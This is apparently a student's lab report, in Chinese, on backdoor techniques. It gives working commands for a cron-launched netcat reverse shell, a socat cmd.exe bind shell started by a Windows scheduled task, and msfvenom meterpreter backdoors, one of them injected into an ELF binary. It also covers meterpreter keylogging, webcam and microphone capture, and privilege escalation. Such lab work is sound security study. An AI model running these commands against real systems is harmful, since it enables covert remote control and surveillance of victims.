20192408胡益琳 实验二 后门原理与实践实验报告

实验二 后门原理与实践

1.实验内容

  1. 使用netcat实现Linux cron启动反弹连接到主机
  2. 使用socat实现Windows 任务计划启动反弹连接到Kali
  3. 使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell,实现音频、摄像头、击键记录等信息的获取
  4. 使用MSF生成shellcode注入pwn20192408.1,在目标主机运行并实现反弹连

2.实验要求

(1)例举你能想到的一个后门进入到你系统中的可能方式?

  • 下载了带有后门的安装包,点击了钓鱼链接,使用了带有恶意程序的U盘,系统直接被攻击。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

  • win:任务计划程序中增加定时任务
  • linux:cron定时任务
  • 开机自启动技术
  • 与文件或服务捆绑

(3)Meterpreter有哪些给你映像深刻的功能?

  • 可以使用简单的命令生成各类后门文件
  • 获取摄像头或者击键记录

(4)如何发现自己有系统有没有被安装后门?

  • 使用杀毒软件查杀,检查文件系统是否有异常,检查CPU占用率是否正常,查看日志与注册表等。

3.实验过程

(1)任务一 使用netcat获取主机操作Shell,cron启动

  • cron是linux下用来周期性执行任务的进程
  • 格式如下:

f1 f2 f3 f4 f5 program
其中f1 是表示分钟,f2 表示小时,f3 表示一个月份中的第几日,f4 表示月份,f5 表示一个星期中的第几天。program 表示要执行的程序。

首先用crontab -e 指令打开cron编辑器,在其中增加一条定时任务。

在最后一行插入命令

*/1 * * * * /bin/netcat 192.168.56.1 4311 -e /bin/sh

表示每隔一分钟进行一次反弹连接到192.168.56.1的4311端口的操作
修改完成后保存并退出。可以使用crontab -l命令查看配置。

然后在Windows中开启监听

ncat.exe -l 4311

等待1分钟后反弹连接成功,执行指令pwd,显示/root表示成功获取Shell

(2)任务二 使用socat获取主机操作Shell, 任务计划启动

  • 在Windows下,打开控制面板>系统和安全>管理工具找到任务计划程序,并创建任务
  • 触发器选择“工作站锁定时”
  • 操作中的“程序与脚本”选择socat.exe所在路径,添加参数tcp-listen:4311 exec:cmd.exe,pty,stderr 将cmd.exe绑定到端口4311。
  • 创建完成后,锁屏并再次登录计算机,此时任务开始运行
  • 在Kali中输入 socat -tcp:192.168.56.1:4311,获取Shell成功。

(3)任务三 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在Kali中使用如下命令生成20192408_backdoor.exe,其中192.168.190.128为虚拟机的ip地址,端口号可以任意指定,但需要与以后步骤中的保持一致
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2408 -f exe > 20192408_backdoor.exe

  • 在Windows下执行如下命令,表示进入接收模式
ncat.exe -l 2408 > 20192408_backdoor.exe
  • 同时在Kali内输入如下命令,开始传输文件。此处需要注意的是文件传输结束后命令行内不会回显信息,可以用Ctrl+C手动终止
nc 192.168.56.1 2408 < 20192408_backdoor.exe


此时出现病毒文件提示

手动将文件恢复后,可以看到文件传输成功

  • 在Kali内打开监听进程,按如下操作。
    use exploit/multi/handler //使用监听模块,设置payload

    set payload windows/meterpreter/reverse_tcp //使用与生成后门程序时相同的payload

    set LHOST 192.168.190.128

    set LPORT 2408

    exploit //设置完成,开始监听

注意此处set LHOST所设置的地址与set LPORT所设置的端口号需与前面生成20192408_backdoor.exe文件时所使用的的保持一致。

  • 在Windows下点击20192408_backdoor.exe文件运行
  • 监听成功,Kali成功获取被控机的Shell,此处用dir指令验证,成功显示Windows下的桌面目录。

(4)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 在监听状态下使用 help 命令可以看到meterpreter 的用法

1. 获取音频
命令如下:

record_mic


在相应的文件夹中看到了文件内容

2. 获取摄像头

webcam_snap


照片文件如下

3. 获取视频

webcam_stream


输入命令后会跳出一个网页实时显示电脑摄像头所拍摄的实时视频,如图

4. 获取截屏

screenshot


截屏结果同样出现在相应文件夹里,如图


5. 获取击键记录

keyscan_start //开始获取
keyscan_dump  //显示开始后至此时主机的击键记录
keyscan_stop  //结束获取

如图,先输入keyscan_start 开始获取击键记录。然后再微信框中输入字符,再在命令行中输入keyscan_dump,其后便会显示刚才输入的字符。显示完毕后输入keyscan_stop结束捕捉。


6. 提权
先使用getuid指令查看当前用户,再使用getsystem指令提权,显示Error。

原因是杀毒软件清除了相应dll文件,手动将其恢复后提权成功。


(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

1. 使用如下指令将Shellcode注入到pwn20192408.1中生成exe文件

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2408 -x ./pwn20192408.1 -f elf > pwn20192408.4

其中按照msfvenom指令格式,linux/x86/meterpreter/reverse_tcp表示反弹连接攻击者,并产生一个shell。由于pwn20192408.1为32位程序,所以采用linux/x86。LHOST与LPORT分别指明了Kali的ip地址和监听所使用的端口号,-x ./pwn20192408.1表示将Shellcode注入到这个文件中,-f elf指明了所生成文件的格式。最终输出文件为pwn20192408.4

  1. 开启另一个终端进行监听。依次输入的指令如下
    use exploit/multi/handler //使用监听模块,设置payload

    set payload linux/x86/meterpreter/reverse_tcp //使用与生成后门程序时相同的payload

    set LHOST 192.168.190.128

    set LPORT 2408

    exploit //设置完成,开始监听
  1. 在原来的终端内使用./pwn20192408.4运行生成的后门文件,发现权限不够
  2. 使用chmod u+x * 在用户权限中添加执行权限,再次执行pwn20192408.4,攻击者终端中显示监听成功,输入ls即可查看当前目录

4.问题及解决方案

  • 问题1:使用crontab -e编辑完毕后报如下错误
  • 问题1解决方案:对于cron指令格式掌握出错,少输了一个/1 * * * *表示每一分钟执行一次。定时任务格式如下:

* *  *  *  *  command

分 时 日 月 周  命令

第1列表示分钟1~59 每分钟用*或者 */1表示
第2列表示小时1~23(0表示0点)
第3列表示日期1~31
第4列表示月份1~12
第5列标识号星期0~6(0表示星期天)
第6列要运行的命令

星号(*):代表所有可能的值,例如month字段如果是星号,则表示在满足其它字段的制约条件后每月都执行该命令操作。
逗号(,):可以用逗号隔开的值指定一个列表范围,例如,“1,2,5,7,8,9”。
中杠(-):可以用整数之间的中杠表示一个整数范围,例如“2-6”表示“2,3,4,5,6”。
正斜线(/):可以用正斜线指定时间的间隔频率,例如“0-23/2”表示每两小时执行一次。同时正斜线可以和星号一起使用,例如*/10,如果用在minute字段,表示每十分钟执行一次。

  • 问题2:任务三中使用ncat将文件从Kali传送到Windows主机时误以为传送失败
  • 问题2解决方案:用ncat传送文件结束时在命令行没有消息回显,但可以在桌面上看到文件,即事实上传送成功了。可以使用Ctrl+C终止传送。
  • 问题3:任务五运行生成的pwn20192408.4时显示权限不够。
  • 问题3解决方案:使用chmod u+x * 授予用户执行权限,再次运行成功。

5.学习感悟与思考

本次实验接触到了很多新的工具,如ncat、socat、meterpreter等,通过实验对这些工具有了初步了解,也体会到了他们功能的强大。通过实验我了解到了通过反弹式连接可以更好地绕过防火墙,而启动连接可以通过Windows的任务计划程序或是Linux下的cron定时计划等方式,同时也可以通过更为复杂的方式,例如和文件捆绑、安装为服务等,后者实现起来更为复杂但也更不易被发现。虽然在这次实验中通过meterpreter成功生成了后门并实现了监听,但是是在关闭了杀毒软件的基础上,在以后的实验中还要继续实现免杀功能。

posted @ 2022-04-01 22:45  猫咪小铺  阅读(175)  评论(0)    收藏  举报